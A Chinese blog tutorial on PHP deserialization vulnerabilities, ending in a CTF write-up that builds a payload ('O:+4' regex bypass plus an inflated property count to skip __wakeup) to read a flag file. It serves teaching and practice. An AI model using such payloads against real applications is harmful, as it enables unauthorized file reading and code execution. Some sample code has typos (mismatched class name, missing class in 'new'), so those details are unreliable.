前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP反序列化漏洞

PHP反序列化漏洞

作者头像
Andromeda
发布2022-10-27 14:32:46
8830
发布2022-10-27 14:32:46
举报
文章被收录于专栏:Andromeda的专栏Andromeda的专栏

序列化(serialize)和反序列化(unserialize)

序列化就是将对象转化为字节序列/字符串,便于之后的传递与使用,序列化会保存对象所有的变量。在序列化对象之前,对象的类要实例化/定义过,字符串中包括了类名、对象中所有变量值,但不包括方法。而反序列化后,会将字符串转换回变量,并重建类或对象

序列化(serialize)

序列化是将变量或对象转换成字符串的过程:

<?php
class persopn{
 	public $name;
 	public $age;
 
 	function __construct($name,$age){
  		$this->name = $name;
  		$this->age = $age;
 	}
}

$p = new ("cx", 19);
echo serialize($p);
?>

输出结果:

O:6:"person":2:{s:4:"name";s:3:"cx";s:3:"age";i:19;}
  • O代表结构类型为类
  • 6表示类名长度
  • person表示类名
  • 2表示类的属性个数
  • s表示属性名的类型为字符串
  • 4表示属性名长度
  • name表示属性名
  • s表示属性的类型为字符串
  • 3表示属性长度
  • cx表示属性值
  • ……

反序列化(unserialize)

unserialize()将序列化的结果恢复成对象。

<?php
class Demo{ 
    public $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}

$s = new Demo('test.php');
$str = serialize($s);
echo($str."\n");

print_r(unserialize($str));

$sir = unserialize($str);
?>

输出结果为:

O:4:"Demo":1:{s:4:"file";s:8:"test.php";}

Demo Object
(
    [file] => test.php
)

序列化格式

布尔型:

b:value //true or flase
b:0

整数型:

i:value
i:10

字符型:

s:length:"value";
s:4:"aaaa"

对象:

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"Person":3:{s:4:"name";N;s:3:"age";i:18;s:3:"sex";B;}

数组:

a:<length>:{key; value pairs};
a:1:{i:1;s:1:"a";}

NULL:

N

魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)

__construct对象被创建时调用,但unserialize()时不会调用

__toString对象被当做字符串使用时调用,返回一个字符串(不仅echo,比如file_exists()也会触发)

__sleep序列化对象之前调用(返回一个包含对象中所有应被序列化的变量名称的数组)

__wakeup反序列化对象之前调用,可用于对对象的初始化操作

__call调用对象不存在的时

__get()调用私有属性时

__set()读取不可访问或者不存在属性时被调用

__isset()对不可访问或者不存在属性调用isset()或者empty()是被调用

__unset()对不可访问或不存在的属性进行unset()时被调用

反序列化漏洞

条件

  • unserialize()函数的参数可控
  • php中有可以利用的类并且类中有魔术方法

漏洞成因

当传给unserialize()的参数可控时,就可以注入精心构造的payload,在进行反序列化是就可能触发对象中的一些魔术方法,执行恶意指令。

例题

1. Web_php_unserialize

题目来源攻防世界

前置知识:在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在__wakeup()的漏洞。当反序列化中对象属性的个数和真实的个数不等时,__wakeup()就会被绕过。

查看代码

首先查看php源代码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

Demo里面看到了__wakeup()函数,可知这里应该涉及反序列化。

下方的if语句首先判断var参数是否存在,然后进行base64编码,再与正则表达式匹配。如果与正则表达式匹配,程序就会停止,所以我们需要绕过匹配,执行else中的@unserialize($var);反序列化操作。在反序列化操作之前会先执行__wakeup(),判断对象的文件是否为index.php,如果不是则将对象的文件属性变为index.php,注释告诉我们flagfl4g.php里面,因此我们需要绕过__wakeup()

序列化对象

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$demo = new Demo('fl4g.php');
echo serialize($demo);
?>

运行后得到结果:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

这里我们发现Demofile只有八个字符,但是长度却是10,可知存在两个空字符:

绕过正则表达式

/[oc]:\d+:/i

[oc]:表示这块区域用来匹配o或者c

\d:代表一个数字字符;

+:代表可以匹配多次;

/i表示匹配时不区分大小写。

由于序列化后的结果o后面为4,所以需要绕过正则表达式,+号可以实现绕过(+号代表空格),还可以使用true来代替数字1或者异或法。

正则表达式完整教程

利用__wakeup()漏洞绕过

然后绕过__wakeup(),修改类的属性个数大于真是属性个数即可。

修改后的序列化结果如下:

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

编码、构造payload

然后进行base64编码,注意不要忘记加上两个\x00空字符:

然后构造payload,即可得到flag。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 序列化(serialize)和反序列化(unserialize)
    • 序列化(serialize)
      • 反序列化(unserialize)
        • 序列化格式
        • 魔术方法
        • 反序列化漏洞
          • 条件
            • 漏洞成因
            • 例题
              • 1. Web_php_unserialize
                • 查看代码
                • 序列化对象
                • 绕过正则表达式
                • 利用__wakeup()漏洞绕过
                • 编码、构造payload
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档